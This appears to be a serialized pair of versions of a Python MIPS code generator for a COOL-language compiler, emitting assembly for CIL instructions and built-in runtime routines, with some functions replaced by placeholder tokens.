end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.LessThan)\n def visit(self, node: cil.LessThan):\n self.write_file('# <')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('slt $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n\n @visitor.when(cil.Goto)\n def visit(self, node: cil.Goto):\n self.write_file('# GOTO')\n self.write_file('j _cil_label_{}'.format(node.label))\n self.write_file('')\n\n @visitor.when(cil.IfGoto)\n def visit(self, node: cil.IfGoto):\n self.write_file('# IF GOTO')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.condition]))\n self.write_file('bnez $a0, _cil_label_{}'.format(node.label))\n self.write_file('')\n <function token>\n <function token>\n\n def object_abort(self):\n self.write_file('function_Object_abort:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_int(self):\n self.write_file('function_IO_in_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $t0 $v0')\n self.write_file('li $v0 5')\n self.write_file('syscall')\n self.write_file('sw $v0 12($t0)')\n self.write_file('move $v0 $t0')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_in_string(self):\n self.write_file('function_IO_in_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('sw $v1 12($v0)')\n self.write_file('move $t5 $v0')\n self.write_file('la $a0 str_buffer')\n self.write_file('li $a1 1025')\n self.write_file('li $v0 8')\n self.write_file('syscall')\n self.write_file('move $a0 $0')\n self.write_file('la $t2 str_buffer')\n self.write_file('_in_string_str_len_:', tabbed=False)\n self.write_file('lb $t0 0($t2)')\n self.write_file('beq $t0 $0 _end_in_string_str_len_')\n self.write_file('beq $t0 10 _end_in_string_str_len_')\n self.write_file('addiu $a0 $a0 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _in_string_str_len_')\n self.write_file('_end_in_string_str_len_:', tabbed=False)\n self.write_file('sw $a0 12($v1)')\n self.allocate_memory()\n self.write_file('la $t4 str_buffer')\n self.write_file('move $t1 $v0')\n self.write_file('_in_str_copy_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_copy_')\n self.write_file('beq $t0 10 _end_in_str_copy_')\n self.write_file('sb $t0 0($t1)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('j _in_str_copy_')\n self.write_file('_end_in_str_copy_:', tabbed=False)\n self.write_file('sw $v0 16($t5)')\n self.write_file('la $t4 str_buffer')\n self.write_file('_in_str_clean_:', tabbed=False)\n self.write_file('lb $t0 0($t4)')\n self.write_file('beq $t0 $0 _end_in_str_clean_')\n self.write_file('sb $0 0($t4)')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _in_str_clean_')\n self.write_file('_end_in_str_clean_:', tabbed=False)\n self.write_file('move $v0 $t5')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def io_out_string(self):\n self.write_file('function_IO_out_string:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 16($a0)')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def conforms(self):\n self.write_file(f'function_{CONFORMS_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'lw $t1 16($fp)')\n self.write_file(\n f'beq $t1 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_true_'\n )\n self.write_file('_conforms_loop_:', tabbed=False)\n self.write_file('beq $t0 $t1 _conforms_ret_true_')\n self.write_file(\n f'beq $t0 {self.type_index.index(OBJECT_CLASS)} _conforms_ret_false_'\n )\n self.write_file('mulu $t0 $t0 4')\n self.write_file('addu $t0 $t0 $s2')\n self.write_file('lw $t0 0($t0)')\n self.write_file('j _conforms_loop_')\n self.write_file('_conforms_ret_true_:', tabbed=False)\n self.write_file('li $v0 1')\n self.write_file('j _conforms_ret_')\n self.write_file('_conforms_ret_false_:', tabbed=False)\n self.write_file('li $v0 0')\n self.write_file('_conforms_ret_:')\n self.write_file('jr $ra')\n self.write_file('')\n\n def isvoid(self):\n self.write_file(f'function_{ISVOID_FUNC}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=BOOLEAN_CLASS))\n self.write_file(f'lw $t0 12($fp)')\n self.write_file(f'la $t1 {VOID_MIPS_NAME}')\n self.write_file(f'beq $t0 $t1 _is_void_true_')\n self.write_file(f'sw $0 12($v0)')\n self.write_file(f'j _is_void_end_')\n self.write_file(f'_is_void_true_:', tabbed=False)\n self.write_file(f'li $t0 1')\n self.write_file(f'sw $t0 12($v0)')\n self.write_file(f'_is_void_end_:', tabbed=False)\n self.write_file(f'jr $ra')\n self.write_file(f'')\n", "<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n\n def push(self):\n self.write_file('sw $a0 0($sp)')\n self.write_file('addiu $sp $sp -4')\n\n def pop(self, dest=None):\n self.write_file(f'addiu $sp $sp 4')\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n\n def new_labels_id(self):\n self.cur_labels_id += 1\n return self.cur_labels_id\n\n @visitor.on('node')\n def visit(self, node):\n pass\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n\n @visitor.when(cil.Data)\n def visit(self, node: cil.Data):\n self.write_file(\n f'{node.dest}: .asciiz \"{str(node.value.encode())[2:-1]}\"')\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n\n @visitor.when(cil.Function)\n def visit(self, node: cil.Function):\n self.write_file(f'function_{node.name}:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'subiu $sp, $sp, {4 * len(node.vlocals)}')\n for i in range(len(node.args)):\n self.offset[node.args[i].name] = 12 + i * 4\n for i in range(len(node.vlocals)):\n self.offset[node.vlocals[i].name] = i * -4\n for inst in node.body:\n if isinstance(inst, cil.Equal) or isinstance(inst, cil.Div):\n inst.id = self.new_labels_id()\n self.visit(inst)\n self.write_file(f'addiu $sp, $sp, {4 * len(node.vlocals)}')\n self.write_file('jr $ra')\n self.write_file('')\n\n @visitor.when(cil.Assign)\n def visit(self, node: cil.Assign):\n self.write_file('# ASSIGN')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.source]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Plus)\n def visit(self, node: cil.Plus):\n self.write_file('# +')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('add $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Minus)\n def visit(self, node: cil.Minus):\n self.write_file('# -')\n if isinstance(node.left, int):\n self.write_file('li $a0 {}'.format(node.left))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sub $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Mult)\n def visit(self, node: cil.Mult):\n self.write_file('# *')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file('mul $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.Div)\n def visit(self, node: cil.Div):\n self.write_file('# /')\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beqz $a1 _div_error_{node.id}_')\n self.write_file('div $a0, $a0, $a1')\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b _div_end_{node.id}_')\n self.write_file(f'_div_error_{node.id}_:', tabbed=False)\n self.write_file('la $a0 _div_zero_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('la $a0 _abort_msg')\n self.write_file('li $v0 4')\n self.write_file('syscall')\n self.write_file('li $v0 10')\n self.write_file('syscall')\n self.write_file(f'_div_end_{node.id}_:', tabbed=False)\n\n @visitor.when(cil.Equal)\n def visit(self, node: cil.Equal):\n self.write_file('lw $t0 {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $t1 {}($fp)'.format(self.offset[node.right]))\n self.write_file(f'beq $t0 $zero _eq_false_{node.id}_')\n self.write_file(f'beq $t1 $zero _eq_false_{node.id}_')\n self.write_file('lw $a0 0($t0)')\n self.write_file('lw $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n INTEGER_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(\n BOOLEAN_CLASS)))\n self.write_file(f'beq $a0 $a2 _eq_int_bool_{node.id}')\n self.write_file('li $a2 {}'.format(self.type_index.index(STRING_CLASS))\n )\n self.write_file(f'bne $a0 $a2 _not_basic_type_{node.id}_')\n self.write_file(f'_eq_str_{node.id}_:', tabbed=False)\n self.write_file('lw\\t$t3 12($t0)')\n self.write_file('lw\\t$t3 12($t3)')\n self.write_file('lw\\t$t4, 12($t1)')\n self.write_file('lw\\t$t4, 12($t4)')\n self.write_file(f'bne $t3 $t4 _eq_false_{node.id}_')\n self.write_file(f'beq $t3 $0 _eq_true_{node.id}_')\n self.write_file('addu $t0 $t0 16')\n self.write_file('lw $t0 0($t0)')\n self.write_file('addu $t1 $t1 16')\n self.write_file('lw $t1 0($t1)')\n self.write_file('move $t2 $t3')\n self.write_file(f'_verify_ascii_sequences_{node.id}_:', tabbed=False)\n self.write_file('lb $a0 0($t0)')\n self.write_file('lb $a1 0($t1)')\n self.write_file(f'bne $a0 $a1 _eq_false_{node.id}_')\n self.write_file('addu $t0 $t0 1')\n self.write_file('addu $t1 $t1 1')\n self.write_file('addiu $t2 $t2 -1')\n self.write_file(f'bnez $t2 _verify_ascii_sequences_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_not_basic_type_{node.id}_:', tabbed=False)\n self.write_file(f'bne $t0 $t1 _eq_false_{node.id}_')\n self.write_file(f'b _eq_true_{node.id}_')\n self.write_file(f'_eq_int_bool_{node.id}:', tabbed=False)\n self.write_file('lw $a3 12($t0)')\n self.write_file('lw $t4 12($t1)')\n self.write_file(f'bne $a3 $t4 _eq_false_{node.id}_')\n self.write_file(f'_eq_true_{node.id}_:', tabbed=False)\n self.write_file('li $a0 1')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'b end_equal_{node.id}_')\n self.write_file(f'_eq_false_{node.id}_:', tabbed=False)\n self.write_file('li $a0 0')\n self.write_file('sw $a0 {}($fp)'.format(self.offset[node.dest]))\n self.write_file(f'end_equal_{node.id}_:', tabbed=False)\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n\n @visitor.when(cil.GetAttrib)\n def visit(self, node: cil.GetAttrib):\n self.write_file('# GETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.Allocate)\n def visit(self, node: cil.Allocate):\n self.write_file('# ALLOCATE')\n if node.ttype == VOID_TYPE:\n self.write_file(f'la $v0 {VOID_MIPS_NAME}')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n else:\n offset_proto = self.type_index.index(node.ttype) * 8\n self.write_file('lw $t0 {}($s0)'.format(offset_proto))\n self.write_file('sw $t0, 0($sp)')\n self.write_file('addiu $sp, $sp, -4')\n self.write_file('')\n self.visit(cil.Call(dest=node.dest, f='Object_copy'))\n self.write_file('addiu $sp, $sp, 4')\n self.write_file('')\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n 